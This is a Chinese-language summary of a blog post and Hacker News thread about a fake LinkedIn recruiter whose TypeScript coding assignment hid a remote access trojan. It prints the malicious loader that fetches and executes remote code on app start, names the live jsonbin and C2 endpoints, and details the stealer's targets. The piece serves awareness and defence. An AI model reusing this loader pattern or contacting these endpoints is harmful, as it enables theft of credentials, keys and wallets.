如何用一场面试搞垮你的系统:藏在编程作业里的 RAT
文章摘要
Benjamin Le Roux(博客 codedge.de)在 2026 年 8 月 17 日发布了这篇取证式的复盘:他一位朋友差点在一场「面试」中把整台机器交出去。攻击的社工外壳非常贴合当下——IT 就业市场艰难,LinkedIn 上一个招聘者带着与你过往经历高度匹配的「相关机会」找上来,兼职远程、时薪很好,聊了几条消息后就直接把编程作业发过来,跳过了所有中间流程。整个身份是冒用一家毫不知情的公司之名,纯粹的钓鱼;那家公司事后在 LinkedIn 上发帖说明了情况。
作者列出的事后可辨识的疑点包括:联系人在 LinkedIn 上并不属于那家公司;在收到编程测试之前根本没有任何「相互认识一下」的通话;测试用的编程语言并非你擅长的语言;代码托管在 Bitbucket(作者认为这不常见);发件邮箱是 @gmail.com 而不是公司的官方域名。
攻击链路的第一环。作业本身是一个 TypeScript 代码库,要求你解决若干问题、扩展逻辑。这个项目大约 180 个文件,混杂了死代码和能跑的代码,完全没有混淆或压缩——恰恰因为看起来干干净净,才没人会逐个文件去读。恶意逻辑藏在一个名字平平无奇的函数里:initPriceConfig 从 https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d 用 axios 拉一段字符串,然后走 new (Function.constructor)('require', res.data.record.model) 把它构造成一个函数,并把 require 本身作为参数传进去,随即调用。
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
关键在于这个函数是应用内部逻辑「总是最先执行」的那一个——只要你敲 npm run dev 或 npm start,它就跑起来了。注意这里连 post-install 脚本都不需要:require 一旦被交到远端下发的代码手里,它就可以 require('child_process') 拿到 shell、require('fs') 读写并遍历文件系统做持久化、require('net') / require('https') 开自己的外泄通道,还能直接读 process.env——在这个应用里意味着 MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY。
第二环:远程加载器。jsonbin.io 返回的 record.model 是 24,686 个字符的 obfuscator.io 混淆 JavaScript,里面包着一个小的 webpack bundle,本质上就是一个远程代码执行加载器。反混淆之后得到又一层混淆代码,它会去 C2(命令与控制)服务器 http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 取下一段。作者用 curl 复现了这一步,发现该端点要求带一个 Authentication: jwt 头,且 User-Agent 伪装成 axios/1.5.3。
第三环:四个功能模块。
scdata——一个交互式 RAT(远程访问木马)。它用 node-pty 提供完整 shell,用 ssh2 做横向移动和 PEM 私钥窃取,用 screenshot-desktop 加 sharp 做屏幕截图,用 clipboardy 读剪贴板,用 @nut-tree-fork/nut-js 合成键盘鼠标输入。它还会做虚拟机指纹识别。ldata——浏览器凭据和钱包窃取器。覆盖三大操作系统上的 Chrome/Edge/Brave/LT 的每一个 profile:Login Data、Web Data、Local Extension Settings 的 LevelDB 存储,以及 macOS 的 login.keychain。它针对 28 个钱包扩展,包括 MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby 等。它无限循环,大约每分钟重新上传一次。- 文件抓取器——遍历用户主目录,搜索
private key、secret phrase、*metamask*、bitcoin、solana、.env、*.pem、*.p12、*.pfx,加上文档和图片,以及整个.ssh、.aws、.gnupg、.docker目录。在 Windows 上它还通过 PowerShell 枚举所有盘符并对每个根目录调用 scanDir,所以映射的网络盘和第二块硬盘也在范围内。 - 剪贴板监视器——轮询剪贴板并外发,日志文件名伪装成
npm-compiler.log。
为什么不需要提权。这是全文最值得记住的一段:整条攻击链从不请求 elevation,不需要 root、UAC 或 sudo,因为它想要的东西没有一样是 root 所有的。SSH 密钥、AWS 凭据、浏览器 profile、钱包数据、.env 文件,全部按设计就属于当前用户——因为你自己需要例行读它们。一个以你的账号身份运行的进程天然继承这些权限;Node 在这里没做任何异常的事,从 shell 里 cat ~/.ssh/id_rsa 效果完全一样。
回连方向的设计意图。当受害者向 147.189.174.138:7321 发起出站连接时,服务器就像任何 web 服务器看到访客 IP 那样,从 accept 到的 socket 上直接读出源地址——不需要探测、不需要扫描、不需要注册地址。作者点明了这种「纯出站」设计对攻击者的便利:它能穿过 NAT、CGNAT、企业代理或家用路由器,零配置,而且受害者 IP 变了也无所谓。
防护手段的分级评估。作者对三种办法给了不同的评价。AI:弱保护——让 AI 扫描项目里的异常(混淆代码、压缩、外部端点调用、异常模式)只是部分方案,它能告诉你有一次 jsonbin.io 调用,但它看不见返回值是什么;文末的补注说得更直白:Claude Code 在只被提示「扫描代码库里的异常模式」时,什么可疑的东西都没发现。Docker:部分弱保护——把东西放进 Docker 里只在容器内执行,能隔离宿主系统、不暴露任何已存储的密钥,前提是你不把宿主数据挂载进容器。Vagrant / 完整虚拟机:大概是最佳选择——事前快照、事后恢复;如果没有 UI/桌面环境,泄露浏览器数据和截图的模块就自我受限了,不过 RAT 和文件抓取器照样能用。这里作者补了一个重要细节:那个 RAT 主动做 VM 指纹识别,它运行 system_profiler、读 /proc/cpuinfo,grep 关键词 vmware、qemu、microsoft corporation,然后给回连信标打上 (VM) 或 (Local) 标记——这个标记很可能用于操作员的分诊:虚拟机更可能是沙箱、更不可能装着真钱包,所以可能被降级处理或更小心地对待。
已经中了怎么办:吊销并轮换 SSH 密钥、改密码、检查所有明文存储的密钥和信息、然后重装操作系统——安全总比后悔好。那个假招聘者的 profile 此时已被删除。
HN 评论精华
这条帖子 187 分、170 条评论。需要说明的是:讨论的重心并不在恶意软件的技术细节上,而是迅速滑向了两个只与文章沾边的话题——一是 LinkedIn 招聘生态有多烂、如何识别假招聘者,二是「公司凭什么要求候选人自备电脑」,后者进一步演变成一场关于精英主义(meritocracy)、职场民主乃至美国业主协会(HOA)的长篇政治哲学辩论,占了整个评论区相当大的篇幅。安全类的干货集中在少数几条里。
-
aliasxneo 给了一套实用的识假清单,是评论区最高热的实操内容:看联系人的 LinkedIn 发帖历史(他遇到过一个「招聘者」有四年空白期,之前一直用英语写评论,突然全变成西班牙语,而且都是短而无意义的评论);查公司网站是否真实存在、有没有公开的团队页面列了这个人;给对方一个一次性邮箱(他用 SimpleLogin)让他们转发详情,注意发件地址;要求对方给出公开的职位链接——骗子几乎总是把职位描述「粘贴」到私信里,或者上传一份明显 AI 生成的 PDF。他还强调要在 LinkedIn 上举报,他举报后账号常在一小时内消失。
-
john_strinlai 认为文中那串疑点里只有一条真正重要:只跟使用官方企业邮箱的人打交道,其余都只能当黄旗红旗,但要求用官方邮箱确认能挫败绝大多数骗局。这条引出了几个有分量的补充。sgbeal 说还得再 google 一下那个域名有没有钓鱼记录——他最近多次被使用「官方」邮箱、但域名与钓鱼强相关的人盯上。sebastiennight 指出更聪明的新骗子会注册一个形似域名,既可能重定向到原站,也可能挂个假的企业门户,一个随机的候选人怎么可能分辨 john@strinlaicorp.com 是真、john.s@strinlai.net 是假?0cf8612b2e1e 从反方向说:他见过正规公司的招聘专员完全用 Gmail 之类办事,第三方猎头更是可能跟被代表的公司没有任何关联——「这是个不错的规则,但公司自己拼命把自己搞得像假的,立刻就把它挫败了」。jdw64 提供了一条有趣的现场数据:这篇文章上 HN 首页之后,他收到了大量招聘诈骗联系,全部走 Gmail,无一使用官方公司邮箱。
-
dprkh 抛出了本帖最有实质冲击力的爆料:有一家 YC 公司做编程面试工具,要求你在自己机器上运行他们的 CLI 并相信它不会作恶,而实际上它未经同意就往你机器上装了一堆东西、扫描进程、并拦截 AI 工具发出的请求。被 htrp 追问公司名后,他直接点了名:Litmus。delichon 开玩笑说这也许是渗透测试——CLI 要是能成功回连你就没过,用来筛掉安全功底弱的候选人;bryanrasmussen 顺势补刀:如果真是这个目的,那它应该筛掉的是那些「为了一场面试就同意装这个 app」的候选人。
-
bitwize 的立场表达最激烈,也代表了相当一部分共识:你要我跑某个软件,那就把电脑寄给我;你要我用公司管理的手机随时待命,那就给我一台你可以随便管的手机。别让我在申请阶段就往我自己的电脑或手机上下载、安装、运行恶意软件;他真的因为这个拒过工作机会——「哦,他们只是想让你装这个 Chrome 扩展,确保你视频面试时不作弊。」不行。preg_match 把这一点讲得更技术化:别搞错了,一个被设计来记录你屏幕和按键的软件就是恶意软件、就是间谍软件,你完全无法保证它没在系统里装下比程序本身活得更久的钩子;正常做法是在浏览器沙箱里做面试加共享屏幕,「十年前我们就解决了这个问题」;真那么怕作弊就掏钱做线下面试、纸上笔试。他还提到这可能违反 CFAA,只是「除了黑 FBI 没人在乎 CFAA」。tamimio 补了一个尖锐的现实:这类软件通常会检测虚拟机的存在并直接终止,以防「作弊」——这恰好和文章里恶意软件的 VM 指纹识别形成了讽刺的对照。
-
edparcell 提供了唯一一条来自招聘方的建设性做法:他在上一家公司做招聘时,会为面试起一次性的云虚拟机,双方远程接入共享屏幕——候选人不用装任何东西,比共享他自己的企业桌面更灵敏也更安全;当然最好还是线下面对面对着同一块屏幕。
-
gfalcao 提出了本帖最实用的一条防御建议:开发者需要学会用交互式防火墙,比如 macOS 上的 LuLu(objective-see.org),任何二进制访问任何网络地址(域名或看起来更可疑的裸 IP)时都会弹窗询问。他自己是 Emacs 用户,但每次试用 VS Code 或 VSCodium 时都会拦掉一批他既没授权下载扩展、也没授权更新扩展的远程地址;他觉得让做编程作业的开发者用 LuLu 这类工具,当场逮住可疑连接并阻断,会挺有意思。Numerlor 认可这是通向「还算不错的安全性」的最简路径,附带还能发现一些安全上没问题但你出于隐私不希望它发的请求。
-
minitech 是评论区最尖锐的批评者,逐条挑了文章的毛病:讲到
process.env时列出的 MONGO_URI 等等,其实只是这个假 app 自己的假环境变量——它当然能跑任意恶意代码,但拿这个当亮点不合适;关于纯出站设计那一大段被他讽为「huge」(意即说了句人尽皆知的话);「没有 UI/桌面环境时泄露浏览器数据或截图的模块就自我受限」被他反讽为「对,这就是虚拟机重要的原因,因为它没有 UI 所以截图不管用」;至于「为保险起见重装操作系统」——「对,装了 RAT 之后,为了周全,希望你没把这步留到最后做」。 -
ShinyLeftPad 挑出了文章里一个真实的逻辑漏洞:作者说 Docker「只要你不把宿主数据挂载进容器」就安全,却没说为什么,而对虚拟机则没有给出同类警告。他指出容器或虚拟机要有用,你通常至少得挂载一些数据;真正的问题是蠢到把敏感数据挂进不可信环境,这跟容器还是虚拟机无关——除非作者是暗示存在某个「挂载任何卷都能容器逃逸」的 0day,但文章并没有这么说。
-
mapmeld 补上了一个此前无人提到的背景:这在加密货币招聘领域是个重大且真实的问题。在那个市场里,一个「隐身创业公司」用陌生邮箱和陌生仓库找你做编程挑战要可信得多,而加密开发者机器上大概率有钱包或密码可取,所以攻击者愿意付出远超普通垃圾邮件和 AI 对话的成本。denysvitali 现身说自己也被盯上过(他不做加密货币,但他所在公司跟一家加密公司同名),并给了自己的复盘博文,标题指向朝鲜(DPRK)背景的攻击者。esafak 在开场就指出他不久前读过类似文章,那次的攻击依赖 VSCode 的自动加载。
-
NalNezumi 提出了一个根本性的质疑:为什么要接受一场需要你在自己系统上、用自己时间跑陌生代码的面试?他去年找工作时只有一家要编程作业,其他全是浏览器内编辑器的现场编程;他觉得这行已经成熟到你可以让给你发 zip 包的公司滚蛋了。msdz 部分辩护:家庭作业之所以流行是因为双方都知道它是 SWE 岗最有效的筛选器,而且在体面公司未必无薪——「问题在于他们糟糕的实现方式(zip 文件),而不是这个概念本身」。
-
nottorp 抓住了一处细节吐槽:作者说「代码托管在 Bitbucket,我认为这不常见」——「什么?GitHub 之外没有世界了?文章其他部分都是正经的,但他们非得塞点垄断崇拜进去」。
-
pronoiac 是唯一采取了行动的:他建议遇到这类东西应当归档留证并向其托管商举报,并说自己已经分别给 jsonbin.io 和运营 147.189.174.138 的 ZapHosting 发了邮件。denysvitali 遗憾地指出很多托管商其实并不在乎,greyface- 则希望其上游中转商总该在乎。